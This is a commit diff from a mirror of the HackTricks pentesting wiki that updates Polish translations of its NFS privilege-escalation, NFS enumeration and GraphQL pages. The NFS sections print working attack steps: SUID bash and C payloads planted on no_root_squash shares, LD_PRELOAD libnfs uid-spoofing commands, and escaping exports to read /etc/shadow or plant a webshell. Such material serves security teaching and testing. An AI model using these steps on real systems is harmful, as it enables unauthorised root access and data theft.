mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
		
							parent
							
								
									57473c3767
								
							
						
					
					
						commit
						f470e7bc87
					
				@ -1,18 +1,29 @@
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Przeczytaj plik _ **/etc/exports** _, jeśli znajdziesz jakiś katalog skonfigurowany jako **no_root_squash**, wtedy możesz **uzyskać dostęp** do niego **jako klient** i **zapisać w** tym katalogu **jakbyś był** lokalnym **rootem** maszyny.
 | 
			
		||||
# Podstawowe informacje o Squashing
 | 
			
		||||
 | 
			
		||||
**no_root_squash**: Ta opcja zasadniczo daje uprawnienia użytkownikowi root na kliencie do dostępu do plików na serwerze NFS jako root. Może to prowadzić do poważnych implikacji bezpieczeństwa.
 | 
			
		||||
NFS zazwyczaj (szczególnie w systemie Linux) ufa wskazanym `uid` i `gid` przez klienta łączącego się w celu uzyskania dostępu do plików (jeśli nie używa się Kerberosa). Istnieją jednak pewne konfiguracje, które można ustawić na serwerze, aby **zmienić to zachowanie**:
 | 
			
		||||
 | 
			
		||||
**no_all_squash:** To jest podobne do opcji **no_root_squash**, ale dotyczy **użytkowników niebędących rootem**. Wyobraź sobie, że masz powłokę jako użytkownik nobody; sprawdziłeś plik /etc/exports; opcja no_all_squash jest obecna; sprawdź plik /etc/passwd; emuluj użytkownika niebędącego rootem; utwórz plik suid jako ten użytkownik (montując za pomocą nfs). Wykonaj suid jako użytkownik nobody i stań się innym użytkownikiem.
 | 
			
		||||
- **`all_squash`**: Zmienia wszystkie dostęp do plików, mapując każdego użytkownika i grupę na **`nobody`** (65534 unsigned / -2 signed). W związku z tym, każdy jest `nobody` i żaden użytkownik nie jest używany.
 | 
			
		||||
- **`root_squash`/`no_all_squash`**: To jest domyślne w systemie Linux i **tylko zmienia dostęp z uid 0 (root)**. W związku z tym, każdy `UID` i `GID` są ufane, ale `0` jest zmieniane na `nobody` (więc nie ma możliwości podszywania się pod roota).
 | 
			
		||||
- **``no_root_squash`**: Ta konfiguracja, jeśli jest włączona, nie zmienia nawet użytkownika root. Oznacza to, że jeśli zamontujesz katalog z tą konfiguracją, możesz uzyskać do niego dostęp jako root.
 | 
			
		||||
 | 
			
		||||
W pliku **/etc/exports**, jeśli znajdziesz jakiś katalog skonfigurowany jako **no_root_squash**, wtedy możesz **uzyskać dostęp** do niego **jako klient** i **zapisywać wewnątrz** tego katalogu **jakbyś był lokalnym** **rootem** maszyny.
 | 
			
		||||
 | 
			
		||||
Aby uzyskać więcej informacji o **NFS**, sprawdź:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
/network-services-pentesting/nfs-service-pentesting.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
# Eskalacja uprawnień
 | 
			
		||||
 | 
			
		||||
## Zdalny exploit
 | 
			
		||||
 | 
			
		||||
Jeśli znalazłeś tę lukę, możesz ją wykorzystać:
 | 
			
		||||
 | 
			
		||||
- **Zamontowanie tego katalogu** na maszynie klienckiej i **jako root skopiowanie** do zamontowanego folderu binarnego **/bin/bash** i nadanie mu praw **SUID**, a następnie **wykonanie z maszyny ofiary** tego binarnego bash.
 | 
			
		||||
Opcja 1 używając bash:
 | 
			
		||||
- **Zamontowanie tego katalogu** na maszynie klienckiej i **jako root skopiowanie** do zamontowanego folderu binarnego **/bin/bash** i nadanie mu praw **SUID**, a następnie **wykonanie z maszyny ofiary** tego binarnego pliku bash.
 | 
			
		||||
- Zauważ, że aby być rootem we współdzielonym zasobie NFS, **`no_root_squash`** musi być skonfigurowane na serwerze.
 | 
			
		||||
- Jednak jeśli nie jest włączone, możesz eskalować do innego użytkownika, kopiując binarny plik do zasobu NFS i nadając mu uprawnienia SUID jako użytkownik, do którego chcesz się eskalować.
 | 
			
		||||
```bash
 | 
			
		||||
#Attacker, as root user
 | 
			
		||||
mkdir /tmp/pe
 | 
			
		||||
@ -25,7 +36,9 @@ chmod +s bash
 | 
			
		||||
cd <SHAREDD_FOLDER>
 | 
			
		||||
./bash -p #ROOT shell
 | 
			
		||||
```
 | 
			
		||||
- **Zamontowanie tego katalogu** na maszynie klienckiej, a następnie **jako root skopiowanie** do zamontowanego folderu naszego skompilowanego ładunku, który wykorzysta uprawnienia SUID, nadanie mu **praw SUID** i **wykonanie z maszyny ofiary** tego binarnego pliku (możesz znaleźć tutaj kilka [ładunków C SUID](payloads-to-execute.md#c)).
 | 
			
		||||
Opcja 2 z użyciem skompilowanego kodu C:
 | 
			
		||||
- **Zamontowanie tego katalogu** na maszynie klienckiej i **jako root skopiowanie** do zamontowanego folderu naszego skompilowanego ładunku, który wykorzysta uprawnienia SUID, nadanie mu **praw SUID** i **wykonanie z maszyny ofiary** tego binarnego pliku (możesz znaleźć tutaj kilka [ładunków C SUID](payloads-to-execute.md#c)).
 | 
			
		||||
- Te same ograniczenia co wcześniej
 | 
			
		||||
```bash
 | 
			
		||||
#Attacker, as root user
 | 
			
		||||
gcc payload.c -o payload
 | 
			
		||||
@ -39,19 +52,19 @@ chmod +s payload
 | 
			
		||||
cd <SHAREDD_FOLDER>
 | 
			
		||||
./payload #ROOT shell
 | 
			
		||||
```
 | 
			
		||||
## Lokalny Eksploit
 | 
			
		||||
## Local Exploit
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Zauważ, że jeśli możesz stworzyć **tunel z twojej maszyny do maszyny ofiary, nadal możesz użyć wersji zdalnej, aby wykorzystać to podnoszenie uprawnień, tunelując wymagane porty**.\
 | 
			
		||||
> Następujący trik dotyczy sytuacji, gdy plik `/etc/exports` **wskazuje na adres IP**. W takim przypadku **nie będziesz mógł użyć** w żadnym przypadku **eksploitu zdalnego** i będziesz musiał **nadużyć tego triku**.\
 | 
			
		||||
> Zauważ, że jeśli możesz stworzyć **tunel z twojej maszyny do maszyny ofiary, nadal możesz użyć wersji zdalnej, aby wykorzystać tę eskalację uprawnień, tunelując wymagane porty**.\
 | 
			
		||||
> Następujący trik dotyczy sytuacji, gdy plik `/etc/exports` **wskazuje na adres IP**. W takim przypadku **nie będziesz mógł użyć** w żadnym przypadku **eksploatu zdalnego** i będziesz musiał **nadużyć tego triku**.\
 | 
			
		||||
> Innym wymaganym warunkiem, aby eksploatacja działała, jest to, że **eksport w `/etc/export`** **musi używać flagi `insecure`**.\
 | 
			
		||||
> --_Nie jestem pewien, czy jeśli `/etc/export` wskazuje na adres IP, ten trik zadziała_--
 | 
			
		||||
 | 
			
		||||
## Podstawowe Informacje
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Scenariusz polega na wykorzystaniu zamontowanego udziału NFS na lokalnej maszynie, wykorzystując błąd w specyfikacji NFSv3, który pozwala klientowi określić swoje uid/gid, co potencjalnie umożliwia nieautoryzowany dostęp. Eksploatacja polega na użyciu [libnfs](https://github.com/sahlberg/libnfs), biblioteki, która umożliwia fałszowanie wywołań RPC NFS.
 | 
			
		||||
Scenariusz polega na wykorzystaniu zamontowanego udziału NFS na lokalnej maszynie, wykorzystując lukę w specyfikacji NFSv3, która pozwala klientowi określić swój uid/gid, co potencjalnie umożliwia nieautoryzowany dostęp. Eksploatacja polega na użyciu [libnfs](https://github.com/sahlberg/libnfs), biblioteki, która umożliwia fałszowanie wywołań RPC NFS.
 | 
			
		||||
 | 
			
		||||
### Kompilacja Biblioteki
 | 
			
		||||
### Compiling the Library
 | 
			
		||||
 | 
			
		||||
Kroki kompilacji biblioteki mogą wymagać dostosowań w zależności od wersji jądra. W tym konkretnym przypadku wywołania syscalls fallocate zostały zakomentowane. Proces kompilacji obejmuje następujące polecenia:
 | 
			
		||||
```bash
 | 
			
		||||
@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
 | 
			
		||||
```
 | 
			
		||||
### Przeprowadzanie Eksploitu
 | 
			
		||||
 | 
			
		||||
Eksploit polega na stworzeniu prostego programu C (`pwn.c`), który podnosi uprawnienia do roota, a następnie uruchamia powłokę. Program jest kompilowany, a wynikowy plik binarny (`a.out`) jest umieszczany na udostępnionym zasobie z suid root, używając `ld_nfs.so` do fałszowania uid w wywołaniach RPC:
 | 
			
		||||
Eksploit polega na stworzeniu prostego programu C (`pwn.c`), który podnosi uprawnienia do roota, a następnie uruchamia powłokę. Program jest kompilowany, a wynikowy plik binarny (`a.out`) jest umieszczany na udostępnieniu z suid root, używając `ld_nfs.so` do fałszowania uid w wywołaniach RPC:
 | 
			
		||||
 | 
			
		||||
1. **Skompiluj kod eksploitu:**
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
cat pwn.c
 | 
			
		||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
 | 
			
		||||
gcc pwn.c -o a.out
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
2. **Umieść exploit na udostępnionym zasobie i zmodyfikuj jego uprawnienia, fałszując uid:**
 | 
			
		||||
 | 
			
		||||
2. **Umieść exploit na udostępnieniu i zmodyfikuj jego uprawnienia, fałszując uid:**
 | 
			
		||||
```bash
 | 
			
		||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
 | 
			
		||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
 | 
			
		||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
 | 
			
		||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
3. **Wykonaj exploit, aby uzyskać uprawnienia roota:**
 | 
			
		||||
```bash
 | 
			
		||||
/mnt/share/a.out
 | 
			
		||||
#root
 | 
			
		||||
```
 | 
			
		||||
## Bonus: NFShell do dyskretnego dostępu do plików
 | 
			
		||||
 | 
			
		||||
## Bonus: NFShell do Dyskretnego Dostępu do Plików
 | 
			
		||||
 | 
			
		||||
Gdy uzyskano dostęp roota, aby interagować z udostępnionym zasobem NFS bez zmiany właściciela (aby uniknąć pozostawiania śladów), używany jest skrypt Pythona (nfsh.py). Skrypt ten dostosowuje uid, aby odpowiadał uid pliku, do którego uzyskuje się dostęp, co pozwala na interakcję z plikami na udostępnionym zasobie bez problemów z uprawnieniami:
 | 
			
		||||
Gdy uzyskano dostęp do roota, aby interagować z udostępnionym NFS bez zmiany właściciela (aby uniknąć pozostawiania śladów), używany jest skrypt Pythona (nfsh.py). Skrypt ten dostosowuje uid, aby pasował do uid pliku, do którego się uzyskuje dostęp, co pozwala na interakcję z plikami na udostępnieniu bez problemów z uprawnieniami:
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python
 | 
			
		||||
# script from https://www.errno.fr/nfs_privesc.html
 | 
			
		||||
 | 
			
		||||
@ -6,27 +6,64 @@
 | 
			
		||||
 | 
			
		||||
**NFS** to system zaprojektowany dla **klient/serwer**, który umożliwia użytkownikom bezproblemowy dostęp do plików w sieci, tak jakby te pliki znajdowały się w lokalnym katalogu.
 | 
			
		||||
 | 
			
		||||
Ciekawym aspektem tego protokołu jest brak wbudowanych **mechanizmów uwierzytelniania** lub **autoryzacji**. Zamiast tego, autoryzacja opiera się na **informacjach o systemie plików**, a serwer ma za zadanie dokładnie przetłumaczyć **dostarczone przez klienta informacje o użytkowniku** na wymagany przez system plików **format autoryzacji**, głównie zgodnie z **składnią UNIX**.
 | 
			
		||||
 | 
			
		||||
Uwierzytelnianie zazwyczaj opiera się na **identyfikatorach `UID`/`GID` UNIX i członkostwie w grupach**. Jednak pojawia się problem z powodu potencjalnych niezgodności w **mapowaniach `UID`/`GID`** między klientami a serwerami, co nie pozostawia miejsca na dodatkową weryfikację przez serwer. W związku z tym protokół najlepiej nadaje się do użycia w **zaufanych sieciach**, biorąc pod uwagę jego zależność od tej metody uwierzytelniania.
 | 
			
		||||
 | 
			
		||||
**Domyślny port**: 2049/TCP/UDP (z wyjątkiem wersji 4, wymaga tylko TCP lub UDP).
 | 
			
		||||
**Domyślny port**: 2049/TCP/UDP (z wyjątkiem wersji 4, potrzebuje tylko TCP lub UDP).
 | 
			
		||||
```
 | 
			
		||||
2049/tcp open  nfs     2-3 (RPC #100003
 | 
			
		||||
```
 | 
			
		||||
### Autoryzacja
 | 
			
		||||
 | 
			
		||||
Zauważalnym aspektem tego protokołu jest zwykle brak wbudowanych mechanizmów **autoryzacji** lub **uwierzytelniania**. Zamiast tego, autoryzacja opiera się na **informacjach o systemie plików**, a serwer ma za zadanie dokładne przetłumaczenie **informacji o użytkowniku dostarczonych przez klienta** na wymagany przez system plików **format autoryzacji**, głównie zgodnie z **składnią UNIX**.
 | 
			
		||||
 | 
			
		||||
Uwierzytelnianie zazwyczaj opiera się na **identyfikatorach `UID`/`GID` UNIX oraz członkostwie w grupach**. Jednak pojawia się problem z powodu potencjalnego niedopasowania w **mapowaniach `UID`/`GID`** między klientami a serwerami, co nie pozostawia miejsca na dodatkową weryfikację przez serwer. Co więcej, te szczegóły są wysyłane przez klienta i ufane przez serwer, więc złośliwy klient mógłby potencjalnie **podszyć się pod innego użytkownika, wysyłając bardziej uprzywilejowane `uid` i `gid`.
 | 
			
		||||
 | 
			
		||||
**Należy jednak zauważyć, że domyślnie nie jest możliwe podszywanie się pod `UID` 0 (root) przy użyciu NFS. Więcej na ten temat w sekcji squashing.**
 | 
			
		||||
 | 
			
		||||
#### Hosty
 | 
			
		||||
 | 
			
		||||
Aby uzyskać lepszą (lub jakąkolwiek) autoryzację, możesz określić **hosty**, które mogą uzyskać dostęp do udziału NFS. Można to zrobić w pliku Linux `/etc/exports`. Na przykład:
 | 
			
		||||
```
 | 
			
		||||
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
 | 
			
		||||
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
 | 
			
		||||
```
 | 
			
		||||
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
 | 
			
		||||
 | 
			
		||||
### Wersje
 | 
			
		||||
 | 
			
		||||
- **NFSv2**: Ta wersja jest znana z szerokiej kompatybilności z różnymi systemami, co podkreśla jej znaczenie w początkowych operacjach głównie przez UDP. Jako **najstarsza** w serii, położyła fundamenty pod przyszłe rozwój.
 | 
			
		||||
- **NFSv2**: Ta wersja jest rozpoznawana za swoją szeroką kompatybilność z różnymi systemami, co podkreśla jej znaczenie w początkowych operacjach głównie przez UDP. Będąc **najstarszą** w serii, położyła fundamenty pod przyszłe rozwój.
 | 
			
		||||
 | 
			
		||||
- **NFSv3**: Wprowadzona z szeregiem ulepszeń, NFSv3 rozszerzyła możliwości swojego poprzednika, wspierając zmienne rozmiary plików i oferując ulepszone mechanizmy raportowania błędów. Pomimo swoich postępów, napotkała ograniczenia w pełnej kompatybilności wstecznej z klientami NFSv2.
 | 
			
		||||
 | 
			
		||||
- **NFSv4**: Kamieni milowy w serii NFS, NFSv4 wprowadziła zestaw funkcji zaprojektowanych w celu unowocześnienia udostępniania plików w sieciach. Znaczące ulepszenia obejmują integrację Kerberos dla **wysokiego bezpieczeństwa**, zdolność do przechodzenia przez zapory ogniowe i działania przez Internet bez potrzeby korzystania z portmapperów, wsparcie dla list kontroli dostępu (ACL) oraz wprowadzenie operacji opartych na stanie. Ulepszenia wydajności i przyjęcie protokołu stanowego wyróżniają NFSv4 jako kluczowy postęp w technologiach udostępniania plików w sieci.
 | 
			
		||||
- **NFSv4**: Kamieni milowy w serii NFS, NFSv4 wprowadziła zestaw funkcji zaprojektowanych w celu modernizacji udostępniania plików w sieciach. Znaczące ulepszenia obejmują integrację Kerberos dla **wysokiego bezpieczeństwa**, zdolność do przechodzenia przez zapory i działania przez Internet bez potrzeby używania portmapperów, wsparcie dla List Kontroli Dostępu (ACL) oraz wprowadzenie operacji opartych na stanie. Jej ulepszenia wydajności i przyjęcie protokołu stanowego wyróżniają NFSv4 jako kluczowy postęp w technologiach udostępniania plików w sieci.
 | 
			
		||||
- Zauważ, że bardzo dziwne jest znalezienie hosta Linux NFS wspierającego uwierzytelnianie kerberos.
 | 
			
		||||
 | 
			
		||||
Każda wersja NFS została opracowana z zamiarem zaspokojenia ewoluujących potrzeb środowisk sieciowych, stopniowo poprawiając bezpieczeństwo, kompatybilność i wydajność.
 | 
			
		||||
 | 
			
		||||
### Squashing
 | 
			
		||||
 | 
			
		||||
Jak wspomniano wcześniej, NFS zazwyczaj ufa `uid` i `gid` klienta do uzyskania dostępu do plików (jeśli nie używa się kerberos). Istnieją jednak pewne konfiguracje, które można ustawić na serwerze, aby **zmienić to zachowanie**:
 | 
			
		||||
 | 
			
		||||
- **all_squash**: Zmienia wszystkie dostęp do mapowania każdego użytkownika i grupy na **`nobody`** (65534 unsigned / -2 signed). Dlatego wszyscy są `nobody` i żaden użytkownik nie jest używany.
 | 
			
		||||
- **root_squash/no_all_squash**: To jest domyślne w systemie Linux i **tylko zmienia dostęp z uid 0 (root)**. Dlatego każdy `UID` i `GID` są ufane, ale `0` jest zmieniane na `nobody` (więc nie ma możliwości podszywania się pod roota).
 | 
			
		||||
- **no_root_squash**: Ta konfiguracja, jeśli jest włączona, nie zmienia nawet użytkownika root. Oznacza to, że jeśli zamontujesz katalog z tą konfiguracją, możesz uzyskać do niego dostęp jako root.
 | 
			
		||||
 | 
			
		||||
### Subtree check
 | 
			
		||||
 | 
			
		||||
Dostępne tylko w systemie Linux. man(5) exports mówi: "Jeśli podkatalog systemu plików jest eksportowany, ale cały system plików nie, to za każdym razem, gdy przychodzi żądanie NFS, serwer musi sprawdzić nie tylko, że dostępny plik znajduje się w odpowiednim systemie plików (co jest łatwe), ale także, że znajduje się w eksportowanym drzewie (co jest trudniejsze). Ta kontrola nazywa się kontrolą poddrzewa."
 | 
			
		||||
 | 
			
		||||
W systemie Linux funkcja **`subtree_check` jest domyślnie wyłączona**.
 | 
			
		||||
 | 
			
		||||
## Enumeracja
 | 
			
		||||
 | 
			
		||||
### Użyteczne skrypty nmap
 | 
			
		||||
### Showmount
 | 
			
		||||
 | 
			
		||||
Można to wykorzystać do **uzyskania informacji z serwera NFSv3**, takich jak lista **eksportów**, kto ma **prawo dostępu** do tych eksportów oraz które klienci są połączeni (co może być niedokładne, jeśli klient rozłączy się bez informowania serwera).
 | 
			
		||||
W **klientach NFSv4 po prostu bezpośrednio uzyskują dostęp do / export** i próbują uzyskać dostęp do eksportów stamtąd, nie udaje się, jeśli jest to nieprawidłowe lub nieautoryzowane z jakiegokolwiek powodu.
 | 
			
		||||
 | 
			
		||||
Jeśli narzędzia takie jak `showmount` lub moduły Metasploit nie pokazują informacji z portu NFS, to potencjalnie jest to serwer NFSv4, który nie wspiera wersji 3.
 | 
			
		||||
```bash
 | 
			
		||||
showmount -e <IP>
 | 
			
		||||
```
 | 
			
		||||
### Przydatne skrypty nmap
 | 
			
		||||
```bash
 | 
			
		||||
nfs-ls #List NFS exports and check permissions
 | 
			
		||||
nfs-showmount #Like showmount -e
 | 
			
		||||
@ -36,9 +73,14 @@ nfs-statfs #Disk statistics and info from NFS share
 | 
			
		||||
```bash
 | 
			
		||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
 | 
			
		||||
```
 | 
			
		||||
### Montowanie
 | 
			
		||||
### nfs_analyze
 | 
			
		||||
 | 
			
		||||
Aby dowiedzieć się, **który folder** jest **dostępny** do zamontowania na serwerze, możesz zapytać go używając:
 | 
			
		||||
To narzędzie z [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) może być używane do uzyskania wielu danych z serwera NFS, takich jak **mounts**, obsługiwane wersje NFS, podłączone adresy IP, a nawet czy możliwe jest **ucieczka z eksportów** do innych folderów w FS lub **czy `no_root_squash` jest włączone**.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Mounting
 | 
			
		||||
 | 
			
		||||
Aby dowiedzieć się, **który folder** jest **dostępny** na serwerze do zamontowania, możesz zapytać go używając:
 | 
			
		||||
```bash
 | 
			
		||||
showmount -e <IP>
 | 
			
		||||
```
 | 
			
		||||
@ -53,26 +95,51 @@ Powinieneś określić, aby **używać wersji 2**, ponieważ nie ma **żadnej**
 | 
			
		||||
mkdir /mnt/new_back
 | 
			
		||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
 | 
			
		||||
```
 | 
			
		||||
## Uprawnienia
 | 
			
		||||
## Ataki
 | 
			
		||||
 | 
			
		||||
Jeśli zamontujesz folder, który zawiera **pliki lub foldery dostępne tylko dla niektórego użytkownika** (według **UID**). Możesz **utworzyć** **lokalnie** użytkownika z tym **UID** i używając tego **użytkownika** będziesz mógł **uzyskać dostęp** do pliku/folderu.
 | 
			
		||||
### Zaufanie UID i GID
 | 
			
		||||
 | 
			
		||||
## NSFShell
 | 
			
		||||
Oczywiście, jedynym problemem tutaj jest to, że domyślnie nie można udawać roota (`UID` 0). Jednak możliwe jest udawanie innego użytkownika lub, jeśli `no_root_squash` jest włączone, można również udawać roota.
 | 
			
		||||
 | 
			
		||||
- Jeśli zamontujesz folder, który zawiera **pliki lub foldery dostępne tylko dla niektórego użytkownika** (według **UID**). Możesz **utworzyć** **lokalnie** użytkownika z tym **UID** i używając tego **użytkownika** będziesz mógł **uzyskać dostęp** do pliku/folderu.
 | 
			
		||||
- Narzędzie **`fuse_nfs`** z [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) zawsze będzie wysyłać potrzebne UID i GID do uzyskania dostępu do plików.
 | 
			
		||||
 | 
			
		||||
### Eskalacja uprawnień SUID
 | 
			
		||||
 | 
			
		||||
Sprawdź stronę:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Ucieczka z eksportów
 | 
			
		||||
 | 
			
		||||
W tym [świetnym artykule](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) można zobaczyć, że możliwe jest **uciekanie z eksportów, aby uzyskać dostęp do innych folderów w systemie plików**.
 | 
			
		||||
 | 
			
		||||
Dlatego, jeśli eksportuje folder, który jest **podfolderem** **całego systemu plików**, możliwe jest uzyskanie dostępu do plików poza eksportem, jeśli **`subtree_check`** jest wyłączone. A jest **wyłączone domyślnie w Linuksie**.
 | 
			
		||||
 | 
			
		||||
Na przykład, jeśli serwer NFS eksportuje `/srv/`, a `/var/` znajduje się w tym samym systemie plików, możliwe jest odczytanie logów z `/var/log/` lub przechowywanie webshella w `/var/www/`.
 | 
			
		||||
 | 
			
		||||
Co więcej, zauważ, że domyślnie tylko użytkownik root (0) jest chroniony przed udawaniem (sprawdź sekcję Squash). Jednak jeśli plik jest **własnością roota, ale grupa nie jest 0, możliwe jest uzyskanie do niego dostępu**. Na przykład plik `/etc/shadow` jest własnością roota, ale grupa to `shadow` (gid 42 w Debianie). Dlatego można go odczytać domyślnie!
 | 
			
		||||
 | 
			
		||||
Narzędzie **`nfs_analyze`** z [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) zostało stworzone, aby wspierać ten atak przeciwko systemom plików ext4, xfs, btrfs w wersji 3 (powinno być również możliwe w v4).
 | 
			
		||||
 | 
			
		||||
### NSFShell
 | 
			
		||||
 | 
			
		||||
Aby łatwo wylistować, zamontować i zmienić UID oraz GID, aby uzyskać dostęp do plików, możesz użyć [nfsshell](https://github.com/NetDirect/nfsshell).
 | 
			
		||||
 | 
			
		||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
 | 
			
		||||
[Ładny samouczek NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
 | 
			
		||||
 | 
			
		||||
## Pliki konfiguracyjne
 | 
			
		||||
```
 | 
			
		||||
/etc/exports
 | 
			
		||||
/etc/lib/nfs/etab
 | 
			
		||||
```
 | 
			
		||||
### Niebezpieczne ustawienia
 | 
			
		||||
## Niebezpieczne ustawienia
 | 
			
		||||
 | 
			
		||||
- **Uprawnienia do odczytu i zapisu (`rw`):** To ustawienie pozwala na zarówno odczyt, jak i zapis w systemie plików. Ważne jest, aby rozważyć konsekwencje przyznawania tak szerokiego dostępu.
 | 
			
		||||
 | 
			
		||||
- **Użycie niebezpiecznych portów (`insecure`):** Po włączeniu, to pozwala systemowi na korzystanie z portów powyżej 1024. Bezpieczeństwo portów w tym zakresie może być mniej rygorystyczne, co zwiększa ryzyko.
 | 
			
		||||
- **Użycie niebezpiecznych portów (`insecure`):** Po włączeniu, to pozwala systemowi na korzystanie z portów powyżej 1024. Bezpieczeństwo portów powyżej tego zakresu może być mniej rygorystyczne, co zwiększa ryzyko.
 | 
			
		||||
 | 
			
		||||
- **Widoczność zagnieżdżonych systemów plików (`nohide`):** Ta konfiguracja sprawia, że katalogi są widoczne, nawet jeśli inny system plików jest zamontowany poniżej eksportowanego katalogu. Każdy katalog wymaga własnego wpisu eksportu dla prawidłowego zarządzania.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## Wprowadzenie
 | 
			
		||||
 | 
			
		||||
GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla REST API, oferując uproszczone podejście do zapytań o dane z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich potrzebnych informacji za pomocą **jednego żądania**. To uproszczenie znacząco **korzysta dla deweloperów**, zmniejszając złożoność ich procesów pobierania danych.
 | 
			
		||||
GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla REST API, oferując uproszczone podejście do zapytań o dane z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich potrzebnych informacji za pomocą **jednego żądania**. To uproszczenie znacząco **korzysta dla programistów**, zmniejszając złożoność ich procesów pobierania danych.
 | 
			
		||||
 | 
			
		||||
## GraphQL a bezpieczeństwo
 | 
			
		||||
 | 
			
		||||
Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe luki w zabezpieczeniach. Kluczowym punktem do zauważenia jest to, że **GraphQL domyślnie nie zawiera mechanizmów uwierzytelniania**. Odpowiedzialnością deweloperów jest wdrożenie takich środków bezpieczeństwa. Bez odpowiedniego uwierzytelnienia, punkty końcowe GraphQL mogą ujawniać wrażliwe informacje nieautoryzowanym użytkownikom, co stanowi istotne ryzyko bezpieczeństwa.
 | 
			
		||||
Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe luki w zabezpieczeniach. Kluczowym punktem do zauważenia jest to, że **GraphQL domyślnie nie zawiera mechanizmów uwierzytelniania**. Odpowiedzialnością programistów jest wdrożenie takich środków bezpieczeństwa. Bez odpowiedniego uwierzytelnienia, punkty końcowe GraphQL mogą ujawniać wrażliwe informacje nieautoryzowanym użytkownikom, co stanowi istotne ryzyko bezpieczeństwa.
 | 
			
		||||
 | 
			
		||||
### Ataki brute force na katalogi i GraphQL
 | 
			
		||||
 | 
			
		||||
@ -25,13 +25,13 @@ Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie kon
 | 
			
		||||
 | 
			
		||||
Identyfikacja otwartych instancji GraphQL pozwala na zbadanie wspieranych zapytań. To jest kluczowe dla zrozumienia danych dostępnych przez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które wspiera schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: [**GraphQL: język zapytań dla API.**](https://graphql.org/learn/introspection/)
 | 
			
		||||
 | 
			
		||||
### Odcisk palca
 | 
			
		||||
### Odcisk
 | 
			
		||||
 | 
			
		||||
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie wydrukować przydatne informacje dla audytora bezpieczeństwa.
 | 
			
		||||
 | 
			
		||||
#### Zapytania uniwersalne <a href="#universal-queries" id="universal-queries"></a>
 | 
			
		||||
 | 
			
		||||
Aby sprawdzić, czy URL jest usługą GraphQL, można wysłać **zapytanie uniwersalne**, `query{__typename}`. Jeśli odpowiedź zawiera `{"data": {"__typename": "Query"}}`, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu `__typename` GraphQL, które ujawnia typ zapytanego obiektu.
 | 
			
		||||
Aby sprawdzić, czy URL jest usługą GraphQL, można wysłać **zapytanie uniwersalne**, `query{__typename}`. Jeśli odpowiedź zawiera `{"data": {"__typename": "Query"}}`, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu `__typename` w GraphQL, które ujawnia typ zapytanego obiektu.
 | 
			
		||||
```javascript
 | 
			
		||||
query{__typename}
 | 
			
		||||
```
 | 
			
		||||
@ -41,7 +41,7 @@ Graphql zazwyczaj obsługuje **GET**, **POST** (x-www-form-urlencoded) i **POST*
 | 
			
		||||
 | 
			
		||||
#### Introspekcja
 | 
			
		||||
 | 
			
		||||
